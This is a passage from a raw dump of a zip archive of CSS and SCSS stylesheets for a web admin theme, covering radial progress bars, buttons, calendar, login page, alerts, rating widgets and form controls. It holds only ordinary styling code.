  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-pink.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-pink.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-pink.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-pink.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-pink.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-pink.radial-bar-50 {
  background-image: linear-gradient(270deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-pink.radial-bar-55 {
  background-image: linear-gradient(288deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-pink.radial-bar-60 {
  background-image: linear-gradient(306deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-pink.radial-bar-65 {
  background-image: linear-gradient(324deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-pink.radial-bar-70 {
  background-image: linear-gradient(342deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-pink.radial-bar-75 {
  background-image: linear-gradient(360deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-pink.radial-bar-80 {
  background-image: linear-gradient(378deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-pink.radial-bar-85 {
  background-image: linear-gradient(396deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-pink.radial-bar-90 {
  background-image: linear-gradient(414deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-pink.radial-bar-95 {
  background-image: linear-gradient(432deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-pink.radial-bar-100 {
  background-image: linear-gradient(450deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6);
}



/* -- Radial Purple -- */
.radial-bar-purple.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-purple.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-purple.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-purple.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-purple.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-purple.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-purple.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-purple.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-purple.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-purple.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-purple.radial-bar-50 {
  background-image: linear-gradient(270deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-purple.radial-bar-55 {
  background-image: linear-gradient(288deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-purple.radial-bar-60 {
  background-image: linear-gradient(306deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-purple.radial-bar-65 {
  background-image: linear-gradient(324deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-purple.radial-bar-70 {
  background-image: linear-gradient(342deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-purple.radial-bar-75 {
  background-image: linear-gradient(360deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-purple.radial-bar-80 {
  background-image: linear-gradient(378deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-purple.radial-bar-85 {
  background-image: linear-gradient(396deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-purple.radial-bar-90 {
  background-image: linear-gradient(414deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-purple.radial-bar-95 {
  background-image: linear-gradient(432deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-purple.radial-bar-100 {
  background-image: linear-gradient(450deg, #536dfe 50%, transparent 50%, transparent), linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6);
}



/* -- Radial Inverse -- */
.radial-bar-inverse.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-inverse.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-inverse.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-inverse.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-inverse.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-inverse.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-inverse.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-inverse.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-inverse.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-inverse.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-inverse.radial-bar-50 {
  background-image: linear-gradient(270deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-inverse.radial-bar-55 {
  background-image: linear-gradient(288deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-inverse.radial-bar-60 {
  background-image: linear-gradient(306deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-inverse.radial-bar-65 {
  background-image: linear-gradient(324deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-inverse.radial-bar-70 {
  background-image: linear-gradient(342deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-inverse.radial-bar-75 {
  background-image: linear-gradient(360deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-inverse.radial-bar-80 {
  background-image: linear-gradient(378deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-inverse.radial-bar-85 {
  background-image: linear-gradient(396deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-inverse.radial-bar-90 {
  background-image: linear-gradient(414deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-inverse.radial-bar-95 {
  background-image: linear-gradient(432deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}
.radial-bar-inverse.radial-bar-100 {
  background-image: linear-gradient(450deg, #4c5667 50%, transparent 50%, transparent), linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6);
}

.radial-bar-lg {
  width: 100px;
  height: 100px;
  font-size: 20px;
}
.radial-bar-lg:after,
.radial-bar-lg > img {
  width: 70px;
  height: 70px;
  margin-left: 15px;
  margin-top: 15px;
  line-height: 70px;
}
.radial-bar-sm {
  width: 50px;
  height: 50px;
  font-size: 12px;
}
.radial-bar-sm:after,
.radial-bar-sm > img {
  width: 35px;
  height: 35px;
  margin-left: 7.5px;
  margin-top: 7.5px;
  line-height: 35px;
}
.radial-bar-xs {
  width: 30px;
  height: 30px;
  font-size: 8px;
}
.radial-bar-xs:after,
.radial-bar-xs > img {
  width: 20px;
  height: 20px;
  margin-left: 5.5px;
  margin-top: 4.5px;
  line-height: 21px;
}

.radial-bar {
  background-clip: content-box;
}
PK��\�����scss/_buttons.scssnu�[���.btn {
    padding: 6px 14px;
    height: 30px;
    font-size: 13px;
    font-weight: 600;
    @include transition(0.3s ease-in-out);
    i {
	    margin-right: 5px;
	}
}
.btn-icon {
    width: 30px;
    height: 30px;
    padding: 0;
    text-align: center;
    line-height: 32px;
    font-size: 14px;
    display: inline-block;
    @include border-radius(50%);
    @include transition(all .5s ease-in-out);
    i {
	    margin-right: 0 !important;
	}
}
.social-btn {
    width: 30px;
    height: 30px;
    padding: 0;
    border-radius: 50%;
    text-align: center;
    line-height: 30px;
    color: $white;
	i {
		margin: 0;
	}
}
.btn-primary, .btn-success, .btn-info, .btn-warning, .btn-danger, .btn-inverse, .btn-purple, .btn-pink, .btn-twitter, .btn-facebook, .btn-linkedin, .btn-google, .btn-dribbble, .btn-instagram {
    color: $white;
}
.btn {
    &-theme {
        background: linear-gradient(150deg, #f05138 15%, #ee3a5b 70%, #ed1375 94%);
        color: #fff;
    }
    &default {
        background-color: #dae6ec;
        border-color: #dae6ec;
        &:focus, &:hover, &:active, &.active {
            background-color: #dae6ec;
            border-color: #C2CED4;
            color: $white !important;
        }
    }
    &-primary {
        background-color: $primary;
        border: 1px solid $primary;
        &:hover, &:focus, &.active {
            background-color: darken($primary, 5%);
            border: 1px solid darken($primary, 5%);
            color: $white !important;
        }
    }
    &-success {
        background-color: $success;
        border: 1px solid $success;
        &:hover, &:focus, &.active {
            background-color: darken($success, 5%);
            border: 1px solid darken($success, 5%);
            color: $white !important;
        }
    }
    &-info {
        background-color: $info;
        border: 1px solid $info;
        &:hover, &:focus, &.active {
            background-color: darken($info, 5%);
            border: 1px solid darken($info, 5%);
            color: $white !important;
        }
    }
    &-warning {
        background-color: $warning;
        border: 1px solid $warning;
        &:hover, &:focus, &.active {
            background-color: darken($warning, 5%);
            border: 1px solid darken($warning, 5%);
            color: $white !important;
        }
    }
    &-danger {
        background-color: $danger;
        border: 1px solid $danger;
        &:focus, &:hover, &.active {
            background-color: darken($danger, 5%);
            border: 1px solid darken($danger, 5%);
            color: $white !important;
        }
    }
    &-inverse {
        background-color: $inverse;
        border: 1px solid $inverse;
        &:hover, &:focus, &.active {
            background-color: darken($inverse, 5%);
            border: 1px solid darken($inverse, 5%);
            color: $white !important;
        }
    }
    &-purple {
        background-color: $purple;
        border: 1px solid $purple;
        &:hover, &:focus, &.active {
            background-color: darken($purple, 5%);
            border: 1px solid darken($purple, 5%);
            color: $white !important;
        }
    }
    &-pink {
        background-color: $pink;
        border: 1px solid $pink;
        &:hover, &:focus, &.active {
            background-color: darken($pink, 5%);
            border: 1px solid darken($pink, 5%);
            color: $white !important;
        }
    }
    &-facebook {
        background: $facebook;
    }
    &-twitter {
        background: $twitter;
    }
    &-dribbble {
        background: $dribbble;
    }
    &-linkedin {
        background: $linkedin;
    }
    &-google {
        background: $google;
    }
    &-instagram {
        background: $instagram;
    }
}
.template-demo {
	.btn {
	    margin-right: 10px;
	    margin-bottom: 10px;
	}
}
.btn-group {
	.btn {
		margin: 0;
	}
}PK��\R"�˞
�
scss/_calendar.scssnu�[���.fc {
	.fc-toolbar {
		.fc-button {
			background: #4a5361;
		    color: #fff;
		    padding: 5px 10px;
		    height: auto;
		    border: none;
		    text-transform: capitalize;
		    text-shadow: none;
		    @include box-shadow(none);
		    .fc-icon {
		    	margin: 0;
		    	top: 0;
		    	@include pseudo-element('after') {
		    		font-family: "iconkit";
    				font-size: 16px;
		    	}
		    	&.fc-icon-left-single-arrow {
		    		@include pseudo-element('after') {
		    			content: "\e843";
		    		}
		    	}
		    	&.fc-icon-right-single-arrow {
		    		@include pseudo-element('after') {
		    			content: "\e844";
		    		}
		    	}
		    }
		    &.fc-state-active, &.fc-state-down {
		    	background: #272d36 !important;
		    }
		}
		h2 {
			font-size: 22px;
			font-weight: 600;
		}
	}
	.fc-view-container {
		.fc-view {
			table {
				thead {
					tr {
						td, th {
							&.fc-widget-header {
								color: #4a5361;
							    background: #f3f4f4;
							    border-color: #f3f4f4;
							    padding: 10px 0px;
							}
						}
					}
				}
			}
			.fc-day-number {
				float: left;
    			padding: 10px 0 5px 10px;
			}
			.fc-other-month {
			    background: #f3f9ff;
			}
			.fc-event-container {
				.fc-event {
					display: block;
				    padding: 3px 5px;
				    color: $white;
				    font-weight: 600;
				    font-size: 12px;
				    border: none;
				}
			}
		}
	}
}

.fc-unthemed  {
    .fc-content, .fc-divider, .fc-list-heading, .fc-list-view, .fc-popover, .fc-row, tbody, td, thead {
    	border-color: #f3f4f4;
    }
}
.color-selector {
    padding: 0;
    margin: 0;
    list-style: none;
    li {
	    position: relative;
	    display: inline-block;
	    width: 25px;
	    height: 25px;
	    margin: 0 8px 8px 0;
	    background-color: #3e8ef7;
	    @include border-radius(50%);
	    input[type=radio] {
		    position: absolute;
		    top: 0;
		    left: 0;
		    z-index: 1;
		    width: inherit;
		    height: inherit;
		    cursor: pointer;
		    border-radius: inherit;
		    opacity: 0;
		    &:checked + label {
		    	@include pseudo-element('after') {
		    		position: absolute;
				    top: 0px;
				    left: 5px;
				    display: inline-block;
				    margin-top: -3px;
				    font-size: 16px;
				    line-height: 1;
				    content: "\e83f";
				    color: #fff;
		    	}
			}
		}
		label {
		    position: relative;
		    margin-bottom: .4rem;
		    font-family: "iconkit";
		    font-style: normal;
		    font-weight: 400;
		    font-variant: normal;
		    text-transform: none;
		}
		&:last-child {
			margin-right: 0;
		}
	}
}PK��\T�lmscss/_auth.scssnu�[���.auth-wrapper {
	.lavalite-bg {
	    height: 100vh;
	    position: relative;
	    width: 100%;
	    -webkit-background-size: cover;
	    background-size: cover;
	    background-repeat: no-repeat;
	    .lavalite-overlay {
		    position: absolute;
		    width: 100%;
		    height: 100%;
		    top: 0;
		    left: 0;
		    background: linear-gradient(135deg,rgba(46,52,81,.4) 0%,rgba(52,40,104,.95) 100%);
		}
	}
	.authentication-form {
	    font-size: .9rem;
	    width: 70%;
	    display: block;
	    padding: 100px 0;
	    .logo-centered {
		    width: 60px;
		    margin: 0 auto;
		    margin-bottom: 40px;
		}
		h3 {
		    font-size: 20px;
		    color: #272d36;
		    margin-bottom: 20px;
		}
		.form-group {
		    position: relative;
		    .form-control {
			    padding-left: 40px;
			    & ~ i {
				    position: absolute;
				    top: 10px;
				    left: 15px;
				}
			}
		}
		.sign-btn {
		    margin-top: 30px;
		}
		.register {
		    margin-top: 30px;
		    text-align: center;
		}
	}
}PK��\u�����scss/_alert.scssnu�[���.alert {
    border: none;
    .close {
	    font-size: 18px;
	    padding: 12px 15px;
	}
}
.jq-icon-info {
    background-color: $info;
    color: $white;
    border: none;
}
.jq-icon-warning {
    background-color: $warning;
    color: $white;
}
.jq-icon-error {
    background-color: $danger;
    color: $white;
}
.jq-icon-success {
    color: $white;
    background-color: $success;
}
.jq-toast-single, .jq-toast-single h2 {
    font-family: 'Nunito Sans', sans-serif;
}PK��\���y��scss/_rating.scssnu�[���.br-wrapper {
    margin: 20px 0 50px;
}

.br-theme-bars-1to10 .br-widget .br-current-rating {
    clear: both;
    padding: 0;
    font-size: 13px;
    color: #757575;
    font-weight: 400;
}

.br-theme-bars-reversed .br-widget .br-current-rating {
    clear: both;
    padding: 0;
    line-height: 2;
    font-size: 13px;
}

.br-theme-bars-movie .br-widget .br-current-rating {
    color: #757575;
    font-weight: 400;
    text-align: left;
}

.br-theme-bars-horizontal,
.br-theme-bars-reversed {
    .br-widget .br-current-rating {
        color: #757575;
        font-weight: 400;
        font-size: 13px;
    }
}

span.value {
    display: inline;
}

.current-rating {
    position: relative;
    top: -50px;
    &.hidden {
        display: none;
    }
}

.your-rating {
    position: relative;
    top: -50px;
    &.hidden {
        display: none;
    }
}

.br-theme-bars-1to10,
.br-theme-bars-movie,
.br-theme-bars-reversed,
.br-theme-bars-horizontal {
    .br-widget a {
        background-color: lighten($primary, 20%);
        &.br-active,
        &.br-selected {
            background-color: $primary;
        }
    }
}

.br-theme-bars-pill {
    .br-widget a {
        background-color: lighten($primary, 20%);
        color: $primary;
        &.br-active,
        &.br-selected {
            background-color: $primary;
        }
    }
}

.br-theme-fontawesome-stars {
    .br-widget {
        a.br-active:after,
        a.br-selected:after {
            color: $primary;
        }
    }
}

.br-theme-css-stars {
    .br-widget {
        a.br-active:after,
        a.br-selected:after {
            color: $primary;
        }
    }
}

.br-theme-bars-square {
    .br-widget a {
        border: 2px solid lighten($primary, 20%);
        color: lighten($primary, 8%);
        &.br-active,
        &.br-selected {
            border: 2px solid $primary;
            color: $primary;
        }
    }
}

.br-theme-fontawesome-stars-o {
    .br-widget {
        a.br-selected:after,
        a:after,
        a.br-active:after,
        a.br-fractional:after {
            color: $primary;
        }
    }
}
PK��\���\�\scss/_forms.scssnu�[���.form-group {
    margin-bottom: 1.25em;

    .form-control-lg {
        font-size: 1.25em;
    }

    .form-control-round {
        border-radius: 50px;
    }

    .form-control-static {
        &:focus {
            outline: none;
        }
    }
}
.form-control {
	height: auto;
    min-height: 35px;
    border: 1px solid #eaeaea;
    padding: 0 10px;
    background-color: #fff;
    font-size: 13px;
    @include border-radius(4px);
    @include input-placeholder {
    	color: #999999;
    }
    &:focus {
    	border-color: #e2dfdf;
	    -webkit-box-shadow: none;
	    box-shadow: none;
    }
    &.form-control-normal {
        font-weight: 400;
    }

    &.form-control-bold {
        font-weight: 700;
    }

    &.form-control-capitalize {
        text-transform: capitalize;
    }

    &.form-control-uppercase {
        text-transform: uppercase;
    }

    &.form-control-lowercase {
        text-transform: lowercase;
    }

    &.form-control-variant {
        font-variant: small-caps;
    }

    &.form-control-left {
        text-align: left;
    }

    &.form-control-center {
        text-align: center;
    }

    &.form-control-right {
        text-align: right;
    }

    &.form-control-rtl {
        direction: rtl;
    }

    &:disabled {
        cursor: not-allowed;
        opacity: 0.5;
    }
}

select.form-control {
    -webkit-appearance: none;
    -moz-appearance: none;
    appearance: none;
    padding-right: 20px;
    background-image: url('../img/down-arrow.svg');
    background-position: center right 15px;
    background-repeat: no-repeat;
    -webkit-background-size: 10px;
    background-size: 10px;
    height: 35px !important;
}
textarea.form-control {
    padding: 10px 15px;
    @include border-radius(4px);
}
.custom-radio {
	.custom-control-label {
		line-height: 24px;
	}
}
.custom-checkbox {
	.custom-control-label {
	    line-height: 24px;
	}
	.custom-control-input {
		&:checked {
			&~.custom-control-label {
				&::after {
				    background-image: none;
				    content: "\e83f";
				    line-height: 16px;
				    font-family: 'iconkit';
				    color: #fff;
				}
			}
		}
	}
}
.custom-control-label {
    text-align: center;
}
.input-group {
	.input-group-prepend {
		.input-group-text {
		    border-top-left-radius: 4px;
		    border-bottom-left-radius: 4px;
		    background-color: #eaeaea;
		    border-color: #eaeaea;
		    padding-left: 15px;
		    height: 35px;
		    font-size: 14px;
		}
		.btn {
		    height: 35px;
		    border-top-left-radius: 4px;
		    border-bottom-left-radius: 4px;
		}
	}
	.input-group-append {
		.input-group-text {
		    border-top-right-radius: 4px;
		    border-bottom-right-radius: 4px;
		    background-color: #eaeaea;
		    border-color: #eaeaea;
		    padding-right: 15px;
		    height: 35px;
		    font-size: 14px;
		}
		.btn {
		    height: 35px;
		    border-top-right-radius: 4px;
		    border-bottom-right-radius: 4px;
		}
	}
}
.form-group {
	.file-upload-default {
	    visibility: hidden;
	    position: absolute;
	}
	.file-upload-info {
	    background: $empty;
	}
}
.select2 { 
	&.select2-container--default {
	    .select2-selection--single {
	    	border-color: #eaeaea;
		    height: 35px;
		    @include border-radius(4px);
	    	.select2-selection__rendered {
			    line-height: 35px;
			    padding-left: 15px;
			    padding-right: 30px;
			}
			.select2-selection__arrow {
			    height: 33px;
			    right: 8px;
			}
	    }
	    .select2-selection--multiple {
		    border-color: #eaeaea;
		    .select2-selection__rendered {
			    margin-top: 1px;
			    .select2-selection__choice {
				    border: none;
				    padding: 1px 5px;
				}
			}
		}
		&.select2-container--focus {
			.select2-selection--multiple {
			    border-color: #8e8e8e;
			}
		}
		&.select2-container--open {
			&.select2-container--below {
				.select2-selection--single, .select2-selection--multiple {
					border-bottom-left-radius: 4px;
    				border-bottom-right-radius: 4px;
				}
			}
		}
	}
	&.select2-container {
		.select2-selection--multiple {
		    min-height: 35px;
		}
	}
}
.select2-container--default {
	.select2-dropdown {
	    background-color: $white;
	    border: none;
	    @include border-radius(6px);
	    @include box-shadow(0 2px 30px rgba(0,0,0,.08));
	    .select2-search--dropdown {
		    padding: 5px;
		    .select2-search__field {
			    height: 30px;
			    border: none;
			    background-color: #eaeaea;
			    padding: 5px 10px;
			    @include border-radius(4px);
			}
		}
		.select2-results {
			.select2-results__options {
			    padding: 5px;
			}
		}
	}

}
.select2-results__option {
    background-color: #fff;
    padding: 8px 15px;
    border-radius: 4px;
    line-height: 14px;
}
.bootstrap-datetimepicker-widget {
	.table {
		thead {
			background-color: $empty;
			tr {
				th {
					color: $dark;
					@include border-radius(6px);
				}
			}
		}
		tr {
			td, th {
				text-align: center;
			    width: 35px;
			    height: 35px;
			    border-radius: 50%;
			    border: none;
			    line-height: 35px;
			    position: relative;
			    z-index: 1;
			}
			td {
				&.today, &.active {
					color: $white;
				    position: relative;
				    z-index: 1;
				    background-color: transparent;
				    text-shadow: none;
					@include pseudo-element('before') {
						width: 30px;
					    height: 30px;
					    border-radius: 50%;
					    border: none;
					    background-color: #4a5361;
					    position: absolute;
					    z-index: -1;
					    display: block;
					    margin: auto;
					    content: '';
					    top: 6px;
					    left: 0px;
					    right: 0px;
					    bottom: auto;
					    @include transform(scale(1));
					}

				}
				&.active:hover {
					@include pseudo-element('before') {
						background-color: #4a5361 !important;
					}
				}
				&.today {
					@include pseudo-element('before') {
					    background-color: $theme;
					}
				}
				&.day, &.hour, &.minute, &.second {
					&:hover {
						background-color: transparent;
					}
				}
				@include pseudo-element('before') {
				    width: 30px;
				    height: 30px;
				    border-radius: 50%;
				    border: none;
				    background-color: transparent;
				    position: absolute;
				    z-index: -1;
				    display: block;
				    margin: auto;
				    content: '';
				    top: 6px;
				    left: 0px;
				    right: 0px;
				    bottom: auto;
				    @include transform(scale(0));
				    @include transition(0.3s ease-in-out);
				}
				&:hover {
					@include pseudo-element('before') {
					    background-color: #f4f4f4;
					    @include transform(scale(1));
					}
				}
			}
		}
	}
	.timepicker {
		table {
			td {
				position: relative;
			    z-index: 1;
			    width: 35px;
			    height: 35px;
			    line-height: 35px;
			    .btn {
			    	height: auto;
			    }
			    span {
			    	width: 35px;
				    height: 35px;
				    line-height: 35px;
			    }
			}
		}
	}
	&.dropdown-menu {
	    min-width: 280px;
	    &.bottom {
	    	@include pseudo-element('before') {
	    		border-bottom-color: #fff;
	    	}
	    }
	    &.top {
	    	@include pseudo-element('before') {
	    		border-top-color: #fff;
	    	}
	    }
	    .datepicker {
	    	table {
				tr {
					th, td {
						width: 30px;
					    height: 30px;
					    line-height: 30px;
					}
					td {
						@include pseudo-element('before') {
							top: 4px;
    						left: 0px;
						}
						&.today, &.active {
							@include pseudo-element('before') {
								top: 4px;
    							left: 0px;
							}
						}
					}
				}
	    	}
	    }
	}
}
.bootstrap-tagsinput {
	display: block;
    border: 1px solid #eaeaea;
    min-height: 35px;
    padding: 0px 10px;
    padding-top: 4px;
    @include box-shadow(none);
    .tag {
	    padding: 1px 5px;
	    margin-right: 2px;
	    margin-bottom: 4px;
	    display: inline-block;
	    text-transform: capitalize;
	    @include border-radius(4px);
	    background-color: $inverse;
	}
}
.note-editor.note-frame.card {
    @include box-shadow(none);
}
.input-group {
    margin-bottom: 1.25em;
}
$form-border-state: primary, warning, default, danger, success, inverse, info;
$form-border-color: $primary, $warning, $default, $danger, $success, $inverse, $info;
@each $var in $form-border-state {
    $i: index($form-border-state, $var);

    .form-control-#{$var} {
        border-color: nth($form-border-color, $i);
        color: nth($form-border-color, $i);

        &:focus {
            border-color: nth($form-border-color, $i);
        }
    }

    .input-group-#{$var} {
        .input-group-append,
        .input-group-prepend {
            .input-group-text {
                background-color: nth($form-border-color, $i);
                border-color: nth($form-border-color, $i);
                color: $white;
            }
        }

        .form-control {
            border-color: nth($form-border-color, $i);
        }
    }
}
$form-txt-state: primary, warning, default, danger, success, inverse, info;
$form-txt-color: $primary, $warning, $default, $danger, $success, $inverse, $info;
@each $var in $form-txt-state {
    $i: index($form-txt-state, $var);

    .form-txt-#{$var} {
        color: nth($form-txt-color, $i);

        &:focus {
            color: nth($form-txt-color, $i);
        }

        &::-moz-placeholder {
            color: nth($form-txt-color, $i);
            opacity: 1;
        }

        &:-ms-input-placeholder {
            color: nth($form-txt-color, $i);
        }

        &::-webkit-input-placeholder {
            color: nth($form-txt-color, $i);
        }
    }
}
$form-bg-state: primary, warning, default, danger, success, inverse, info;
$form-bg-color: $primary, $warning, $default, $danger, $success, $inverse, $info;
@each $var in $form-bg-state {
    $i: index($form-bg-state, $var);

    .form-bg-#{$var} {
        background-color: nth($form-bg-color, $i);
        border-color: nth($form-bg-color, $i);
        color: #fff;

        &:focus {
            background-color: nth($form-bg-color, $i);
            border-color: nth($form-bg-color, $i);
            color: #fff;
        }

        &::-moz-placeholder {
            color: #fff;
            opacity: 1;
        }

        &:-ms-input-placeholder {
            color: #fff;
        }

        &::-webkit-input-placeholder {
            color: #fff;
        }
    }
}
.form-radio {
    position: relative;

    .form-help {
        position: absolute;
        width: 100%;
